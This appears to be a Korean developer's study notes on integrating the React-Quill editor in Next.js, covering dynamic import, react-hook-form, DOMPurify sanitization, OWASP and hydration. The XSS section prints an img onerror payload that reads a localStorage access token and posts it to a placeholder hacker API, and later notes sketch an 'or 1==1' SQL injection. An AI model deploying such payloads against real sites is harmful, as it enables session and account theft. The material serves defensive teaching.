게시물을 등록할 수 있는 페이지를 만든다고 가정했을 때,
input과 textarea 태그를 이용해서 다음과 같이 입력란을 만들어 줄 수 있습니다.
그런데, textarea 태그에서 줄바꿈으로 내용을 입력
하고 글을 등록했을 때 가져온 데이터를 보면 아래와 같은 결과가 나타납니다.
줄바꿈을 하고싶은데, 잘 작동하지 않습니다!!
textarea 태그의 특성상, 내용을 입력할 때 줄 바꿈을 주었더라도
내용 데이터를 출력할 때에 줄 바꿈에 대한 결과를 따로 처리해주지 않으면 한 줄로 내용을 출력하게 됩니다.
그 외에도 내용 중에서 더 중요한 부분을 표시하고 싶다거나 폰트에 색깔을 추가하고 싶다거나 하는 등의 스타일 지정이 필요할 수도 있습니다. 이러한 textarea의 단점들을 보완해서 좀 더 스타일리쉬하게 내용을 작성할 수 있도록 도와주는 React-Quill
웹 에디터 라이브러리를 적용해보도록 하겠습니다.
React-Quill Docs
💡 React-Quill 이외에도 React Draft Wysiwyg, TOAST UI Editor 등의
웹 에디터 라이브러리가 널리 쓰이고 있습니다.
설치하기
yarn add react-quill
또는npm install react-quill
호출하기
import ReactQuill from 'react-quill'; // 라이브러리 호출 import 'react-quill/dist/quill.snow.css'; // css파일 호출
사용하기
<ReactQuill />
입력!!
ReactQuill에 onChange 함수를 넣어주기
import ReactQuill from "react-quill";
import "react-quill/dist/quill.snow.css";
export default function WebEditorPage() {
const handleChange = (value: string) => {
console.log(value);
};
return (
<div>
작성자: <input type="text" />
<br />
비밀번호: <input type="password" />
<br />
제목: <input type="text" />
<br />
내용: <ReactQuill onChange={handleChange} />
<br />
<button>등록하기</button>
</div>
);
}
💡 ReactQuil의 onChange는 개발자가 만들어 놓은 커스텀 요소입니다.
이름만 같을 뿐 jsx의 onChange요소와는 전혀 다른 개념!!!
document is not defined
에러 해결 (dynamic import)서버사이드 렌더링
을 지원하는데, 서버에서 페이지를 미리 렌더링 하는 단계에서는 브라우저 상이 아니기 때문에 window나 document가 존재하지 않습니다.window 또는 document object 를 선언하기 전
이기 때문에 document가 선언되지 않았다는 에러가 발생하는 것입니다.
💡 서버에서 페이지를 미리 렌더링하는 단계를 pre-rendering이라고 부릅니다.
이문제를 해결하려면 document가 선언된 시점 이후에 리액트퀼을 import 해야하는데,
dynamic import
를 사용하면 됩니다.
기존 상단에서 import한 코드를 지우고, 이렇게 대체해주기! (다이나믹을 임포트해야함)import dynamic from 'next/dynamic'; const ReactQuill = dynamic( async() => await import('react-quill'), { ssr : false })
Next.js에서 제공하는 다이나믹은 해당 모듈을 호출하는 시점을 document에 대한 정보가 선언된 후의 시점으로 옮겨서 호출을 할 수 있게 도와줍니다.
즉, 빌드되는 시점에서 호출하지 않고
런타임 시점에서 모듈을 호출
해서
이미 documnet 가 선언되어 있는 시점의 환경을 제공해줄 수 있습니다.
이런 dynamic import는 단순히 ssr 이슈를 해결할 뿐만 아니라 성능최적화에도 기여를 해줍니다.
반드시 다운로드를 받아도 되지 않아도 되는 부분은 다이나믹 임폴트를 사용해 필요한 시점에 다운 받아 올 수 있도록 하면 초기에 다운속도가 향상되어 초기 로딩속도가 향상됩니다.
따라서 성능최적화에도 기여를 해줍니다.
이렇게 필요한 시점에 import 해올 수 있도록 도와주는 것을 코드를 분리했다고 해서 코드 스플릿팅
이라고 합니다.
💡 Modal을 코드스플릿팅 해서 가져와봅시다.
다른사람이 내 코드를 열었을 때 , Modal도 함께 다운이 될텐데 사실 버튼을 누르지 않으면
실행되는것이 아니라 굳이 다운로드를 안받아도 될 수도 있고 많은 양을 다운로드하면 속도가 느려질 수 있기때문에 굳이 상단에 임포트하지 않고 버튼을 눌렀을 때 다운되도록 해볼것입니다.
필요할 때 다운받기!!
문제점은, 버튼을 눌렀을 때 다운이되니까 버튼이 눌리고 다음이벤트가 실행되기까지 속도가 느려질 수 있는데, 그렇다면useEffect
를 사용해서 위에서 슬금슬금 다운로드 받아놓아봅시다.
위 코드는 전역에다 만들어놨어요!
useForm을 사용할 때 input에 register를 넣어주었습니다.
import { useForm } from "react-hook-form";
// import ReactQuill from "react-quill"; // 다이나믹 임포트로 변경하기 !
import "react-quill/dist/quill.snow.css";
import dynamic from "next/dynamic";
const ReactQuill = dynamic(() => import("react-quill"), { ssr: false });
export default function WebEditorPage() {
const { register } = useForm({
mode: "onChange",
});
const handleChange = (value: string) => {
console.log(value);
};
// if (process.browser) {
// console.log("나는 브라우저다 !!");
// } else {
// console.log("나는 프론트엔드 서버다 !!");
// }
return (
<div>
작성자: <input type="text" {...register("writer")} />
<br />
비밀번호: <input type="password" {...register("password")} />
<br />
제목: <input type="text" {...register("title")} />
<br />
내용: <ReactQuill onChange={handleChange} />
<br />
<button>등록하기</button>
</div>
);
}
그런데 onChange 요소가 들어간 ReactQuill이라는 컴포넌트에는 register가 적용되지 않습니다.
어떻게 하면 useForm이 contents에 입력된 데이터까지 인식하도록 할 수 있을까요?
setValue
라는 요소를 이용해서 react-hook-form의 contents라는 공간에 강제로 값을 집어 넣어주면 됩니다!!
const { register, setValue} = useForm({
mode: "onChange",
});
const handleChange = (value: string) => {
console.log(value);
// register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
setValue("contents", value);
};
조건부 렌더링을 이용해서 React-Quill에 값이 입력되었다가 지워졌을 때 남는 찌꺼기 태그도 없애줍니다.
// register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
setValue("contents", value === "<p><br></p>" ? "" : value);
};
여기까지 진행하면 콘솔에 에디터에 입력된 값이 잘 찍히지만, contents의 입력 여부는 검증할 수가 없습니다. 그래서 reactquill 에서 제공하는 trigger 요소를 이용하여 onChange여부를 강제로 변경해주어야 합니다.
const { register, setValue, trigger } = useForm({
mode: "onChange",
});
const handleChange = (value: string) => {
console.log(value);
// register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
setValue("contents", value === "<p><br></p>" ? "" : value);
// onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
trigger("contents");
};
이렇게 하면 React-Quill에 입력된 값이 react-hook-form에 동일하게 들어가고, 입력 여부도 검증할 수 있게 됩니다.
웹에디터와 리액트훅폼을 사용해서 입력한 내용을 게시글로 등록해봅시다.
만들어놓은 태그들을 form으로 감싸고 onSubmit 요소를 더해주겠습니다!
export default function WebEditorPage() {
const router = useRouter();
const { register, setValue, trigger } = useForm<IFormValues>({
mode: "onChange",
});
const handleChange = (value: string) => {
console.log(value);
// register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
setValue("contents", value === "<p><br></p>" ? "" : value);
// onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
trigger("contents");
};
return (
<form onSubmit={}>
작성자: <input type="text" {...register("writer")} />
<br />
비밀번호: <input type="password" {...register("password")} />
<br />
제목: <input type="text" {...register("title")} />
<br />
내용: <ReactQuill onChange={handleChange} />
<br />
<button>등록하기</button>
</form>
);
}
react-hook-form의 handleSubmit을 이용해서 submit 버튼 클릭 시 실행할 함수를 onSubmit에 넣습니다.
export default function WebEditorPage() {
const router = useRouter();
const { register, handleSubmit, setValue, trigger } = useForm<IFormValues>({
mode: "onChange",
});
const handleChange = (value: string) => {
console.log(value);
// register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
setValue("contents", value === "<p><br></p>" ? "" : value);
// onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
trigger("contents");
};
const onClickSubmit = (data: IFormValues) => {
// form submit시 실행할 함수
};
return (
<form onSubmit={handleSubmit(onClickSubmit)}>
작성자: <input type="text" {...register("writer")} />
<br />
비밀번호: <input type="password" {...register("password")} />
<br />
제목: <input type="text" {...register("title")} />
<br />
내용: <ReactQuill onChange={handleChange} />
<br />
<button>등록하기</button>
</form>
);
}
해당 함수 안에 createBoard 요청을 넣습니다. 그리고 요청 성공시 해당 게시글의 상세 페이지로 이동하도록 다이나믹 라우팅을 해줍니다.
export default function WebEditorPage() {
const router = useRouter();
const { register, handleSubmit, setValue, trigger } = useForm<IFormValues>({
mode: "onChange",
});
const handleChange = (value: string) => {
console.log(value);
// register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
setValue("contents", value === "<p><br></p>" ? "" : value);
// onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
trigger("contents");
};
const onClickSubmit = async (data: IFormValues) => {
if (!(data.writer && data.password && data.title && data.contents)) {
Modal.warning({ content: "필수 입력 사항입니다." });
return;
}
try {
const result = await createBoard({
variables: {
createBoardInput: {
writer: data.writer,
password: data.password,
title: data.title,
contents: data.contents,
},
},
});
// 완료된 페이지로 이동!!
router.push(`/27-04-web-editor-detail/${result.data?.createBoard._id}`);
} catch (error) {
if (error instanceof Error) Modal.error({ title: error.message });
}
};
return (
<form onSubmit={handleSubmit(onClickSubmit)}>
작성자: <input type="text" {...register("writer")} />
<br />
비밀번호: <input type="password" {...register("password")} />
<br />
제목: <input type="text" {...register("title")} />
<br />
내용: <ReactQuill onChange={handleChange} />
<br />
<button>등록하기</button>
</form>
);
}
다이나믹 라우팅으로 연결된 경로로 이동해서 상세 페이지를 다음과 같이 만들어줍니다.
import { useQuery, gql } from "@apollo/client";
import { useRouter } from "next/router";
import {
IQuery,
IQueryFetchBoardArgs,
} from "../../../src/commons/types/generated/types";
import Dompurify from "dompurify";
const FETCH_BOARD = gql`
query fetchBoard($boardId: ID!) {
fetchBoard(boardId: $boardId) {
_id
writer
title
contents
}
}
`;
export default function WebEditorDetail() {
const router = useRouter();
const { data } = useQuery<Pick<IQuery, "fetchBoard">, IQueryFetchBoardArgs>(
FETCH_BOARD,
{
variables: { boardId: String(router.query.id) },
}
);
return (
<div>
<div>작성자: {data?.fetchBoard.writer}</div>
<div>제목: {data?.fetchBoard.title}</div>
<div>내용: {data?.fetchBoard.contents}</div>
</div>
);
}
입력된 내용을 화면에 출력해보면, 이런식으로 태그가 감싸져서 나옵니다.
웹 에디터로 작성한 내용은 HTML 태그가 포함된 문자열로 입력이 되기 때문입니다.
HTML 태그들을 노출하지 않으면서 HTML 기능만 적용된 형태
로 화면에 출력해야 합니다.
그런데 우리가 사용하고있는 리액트 프러젝트에서는, 기번적으러 보안이슈로인해 HTML 태그를 직접 삽입 할 수 없습니다. 그럼에도 사용해야한다면 , 아래처럼 사용할 수 있습니다.
<div dangerouslySetInnerHTML={{ __html : HTML 태그 추가 }} />
dangerouslySetInnerHTML 는 div 또는 span 태그
에 제공되는 속성인데, 아래와 같은 의미를 담고 있습니다.
🚨 "당신은 프로젝트에 HTML 태그를 추가하려는 행위가 위험하다는 걸 알고 있다.
그럼에도 HTML 태그를 추가하고 싶다면 추가하려는 HTML 태그를 작성해라."
위험을 감수하고 HTML 태그를 추가할 때 사용하는 속성이며, __html 속성 값에 추가하려는 데이터를 입력해주면 됩니다.
export default function WebEditorDetail() {
const router = useRouter();
const { data } = useQuery<Pick<IQuery, "fetchBoard">, IQueryFetchBoardArgs>(
FETCH_BOARD,
{
variables: { boardId: String(router.query.id) },
}
);
return (
<div>
<div>작성자: {data?.fetchBoard.writer}</div>
<div>제목: {data?.fetchBoard.title}</div>
<div dangerouslySetInnerHTML={{ __html: String(data?.fetchBoard.contents)}} />
</div>
);
}
❗️ div 및 span 태그로 dangerouslySetInnerHTML 를 사용한다면 반드시 빈 태그 형식으로 작성해주어야 합니다.
아래와 같은 구조로 웹 에디터로 입력된 HTML 데이터를 dangerouslySetInnerHTML 속성을 이용해 div 태그에 입력해주면 HTML 태그들이 적용된 결과가 웹페이지에 출력 되는 것을 확인할 수 있습니다.
지금까지 배운 것 처럼 dangerouslySetInnerHTML을 이용하면 웹에디터에 입력한 html 태그가 적용된 형태로 내용을 받아올 수 있습니다. 하지만 이러한 것은 공격 받을 여지가 매우 큰 위험한 방식입니다.
대표적인 공격 사례를 보자면,
<img src="http://images.png" />
위와 같은 img태그에 onerror라는 속성을 더해, 해당 태그를 dangerouslySetInnerHTML 속성을 이용해 불러왔을 때 사용자에게서 중요한 정보를 빼내는 스크립트가 실행되도록 할 수 있습니다.
❗️ onerror란 해당 img태그를 정상적으로 불러오지 못했을 때 실행되는 요소입니다. 일반적으로는 대체 이미지 경로를 입력합니다.
<img src="#" onerror="
const aaa = localStorage.getItem('accessToken');
axios.post(해커API주소, {accessToken = aaa});
" />
위와 같은 예시 코드가 실행되면 localStorage 내의 accessToken을 훔칠 수 있게 됩니다.
예시는 간단한 코드이지만, onerror 안에는 여러 줄의 javascript도 넣을 수 있기 때문에 dangerouslySetInnerHTML을 이용할 경우 사용자의 민감 정보가 손쉽게 탈취당할 위험에 노출되어 있다고 볼 수 있습니다.
예시로 들었던 스크립트를 활용한 토큰 탈취처럼, 다른 사이트의 취약점을 노려서 javascript 와 HTML로 악의적 코드를 웹 브라우저에 심고 사용자 접속 시 그 악성 코드가 실행되도록 하는 것을 크로스 사이트 스크립트 (Cross Site Script / XSS)
라고 합니다.
이러한 공격을 방어하기 위하여 지금과 같은 공격 코드가 들어있으면 자동으로 차단해주는 라이브러리를 이용하면 됩니다. 우리는 그 중 DOMPurify를 이용해 보겠습니다.
yarn add dompurify
yarn add -D @types/dompurify
dompurify
코드에 DOMPutify를 적용해서 안정성을 확보해봅시다.
<div
dangerouslySetInnerHTML={{
__html: Dompurify.sanitize(String(data?.fetchBoard.contents))
}}
/>
그런데 이렇게 코드를 작성하면 서버 사이드 렌더링 에러가 발생합니다. 서버 사이드 렌더링 에러를 해결하기 위해서는 다음과 같은 조건부 렌더링을 추가해주면 됩니다.
{process.browser &&
<div
dangerouslySetInnerHTML={{
__html: Dompurify.sanitize(String(data?.fetchBoard.contents))
}}
/>
}
지금까지 알아본 크로스 사이트 스크립트처럼 웹에는 여러 종류의 공격들이 있습니다. 공격이 점점 고도화되는 만큼 사람들도 보안에 신경을 많이 쓰게 되었습니다.
OWASP란 Open Web Application Security Project의 약자로 오픈소스 웹 애플리케이션 보안 프로젝트
입니다.
owasp 확인하기
주로, 웹 관련 정보노출이나 악성파일 및 스크립트, 보안 취약점을 연구하며 10대 취약점을 발표하며, 3-4년에 한 번씩 정기적으로 업데이트 됩니다.
❗️ A01 : Broken Access Control (접근 권한 취약점)
A02 : Cryptographic Failures (암호화 오류)
A03: Injection (인젝션)
A04: Insecure Design (안전하지 않은 설계)
A05: Security Misconfiguration (보안설정오류)
A06: Vulnerable and Outdated Components (취약하고 오래된 요소)
A07: Identification and Authentication Failures (식별 및 인증 오류)
A08: Software and Data Integrity Failures(소프트웨어 및 데이터 무결성 오류)
A09: Security Logging and Monitoring Failures (보안 로깅 및 모니터링 실패)
A10: Server-Side Request Forgery (서버 측 요청 위조)
매년OWASP 상위권을 유지하는 것 중 하나가 Injection
입니다.
SQL쿼리문을 작성할때 조건을 통해 데이터를 주고 받는데, 이 조건을 직접 조작하여 공격하는 기법입니다. 현재는 이것을 ORM을 사용해 막고 있습니다. 그 외 여러 공격들이 있으며 OWASP 발표에서 내용을 더 상세히 확인 할 수 있습니다.
웹 에디터 detail 페이지의 실습 코드를 다음과 같이 수정해봅시다.
return (
<div>
<div style={{color: "red"}}>작성자: {data?.fetchBoard.writer}</div>
{process.browser && (
<div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div>
)}
<div style={{color: "blue"}}>내용: 반갑습니다!<div>
</div>
)
yarn dev해서 렌더링된 모습을 보면 제목 부분이 녹색이 아니라 파란색인 것을 확인할 수 있습니다.
Hydration Issue 때문에 이러한 현상이 일어납니다. 구체적인 원인을 한 번 살펴봅시다.
Next.js는 위와 같은 과정을 거쳐 페이지를 그립니다.
이 중 diffing 단계에서 태그를 기준으로 비교하기 때문에, 프론트엔드 서버에서 pre-rendering된 결과물
과 브라우저에서 그려진 결과물
의 태그 구조가 다를 경우 CSS가 코드와 다르게 적용됩니다.
그렇기 때문에 브라우저에서만 렌더링되는 태그가 있을 경우, 삼항연산자를 이용해서 프론트엔드 서버에서도 빈 태그가 들어가 있도록 만들어줘야 합니다.
return ( <div> <div style={{color: "red"}}>작성자: {data?.fetchBoard.writer}</div> {process.browser ? ( <div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div> ) : ( <div style={{color: "green"}} /> )} <div style={{color: "blue"}}>내용: 반갑습니다!<div> </div> )
리팩토링 관련 리뷰
fragment 사용하자.
a에서는 name만, b에서는 fragment(설정해서) 사용해서 다른거 더 추가하기
이런식으로 할 수 있다. 알아보기!props drilling 하지 말고 글로벌스테이트 Recoil을 사용하자.
혹은, props.children 사용. (이걸 많이 사용, 이거 안되면 글로벌스테이트) -> 보드리스트 인덱스 확인.
이거 드릴링.
리스트 인덱스에 푸터 묶고, 페이지네이션 넣는다. 푸터 인덱스로 와서 원래 페이지네이션 있던 자리에 props.children 넣어주면 그대로 들어온다.
나만 알아볼 수 있는 것들...
로그인할 때 봤던 에러. (로그인 로컬스토리지) 서버에서 그려지고, -> 하이드레이션 관련 에러! 프리렌더링(미리 화면그려주고 브라우저에 넘겨줌. 이과정에서는 버튼눌리거나 기능이 안된다) 후에 자바스크립트 가져온다. 이게 하이드레이션 과정!react-quill 도프리렌더링 과정에서 충돌이 난거다.
브라우저일 때 요거보여줘! 할 수 있지만 , import 자체가 안된다 .
다이나믹 import를 사용해보자!!
빈값일때 조렇게 나오다
setValue("contents", value === "<p><br></p>" ? "" : value);
적어줘야 빈값으로 인지해서 에러검증이 된다. 안하면 p 어쩌구 들어가있으니까 빈값이라고 인지를 못한다.
다이나믹 임포트는 원하는 시점에 다운로드
다이나믹 라우팅은 주소 변하는거
만약 해커가 이렇게 작성하면...
내가 마우스 구매하러 오는순간 내 엑세스토큰이 해커의 api로 전송이 된다. 내꺼 털린거임. 그럼이거 해커가 인가가 할 수 있겠지 내 행세를 할 수 있다.
이문제 때문에 script 태그를 작성하지 못하도록 설정했는데, 이거를 이미지태그로 또 뽑을수가 있다.
이미지태그를 사용한다. 이미지태그가 아닐 때, 저거 실행시켜줘! 이렇게 작성 하면 해커가 토큰 볼 수 있다.
비밀번호 쪽에 로직 작성해서
1. 이메일 ㅇㅇㅇ 인사람 있니?
2. 비밀번호가 1234 = true || 1==1 이런식으로 하면 뒤에가 트루 나오니까
뚤리게 되는 것.
프리랜더링 시점에서 이거는 안그려진다. 그래서 브라우저 확인했을 때
파란색이 없다. 아래 삼항연산자로 해결 가능.{typeof window !== "undefined" ? ( <div style={{ color: "blue" }} dangerouslySetInnerHTML={{ __html: Dompurify.sanitize(data?.fetchBoard?.contents), }} /> ) : ( <div style={{ color: "blue" }} /> )} <div style={{ color: "brown" }}>주소: 구로</div> </div> );
리액트는 첫화면 접속이 느리다 (싱글페이지어쩌구니까) 맨 처음 접속할 때 모든페이지의 html,css,js를 다운로드하니까 . 근데 페이지 이동은 빠르다!!
리액트는 주소라는게 없다. 첫페이지는 동일하게 느리다.
실제 베포할때는 서버에서 프리렌더링 하지 않는다. 이미 되어있는곳에서 받아온다.
여기까지 TTV(tim to view)가 엄청 빠르다. 그 이후
자바스크립트 가져오고, 하이드레이션 실행 여기까지 TTI(time to in..)
슬라이도 질문
프롭스 드릴링 했을때는 이렇게 다 넘겨줬고
지금 child로 받을때는 이렇게. 리뷰는 통으로 받아왔던거라서 큰 차이가 없어보였던 것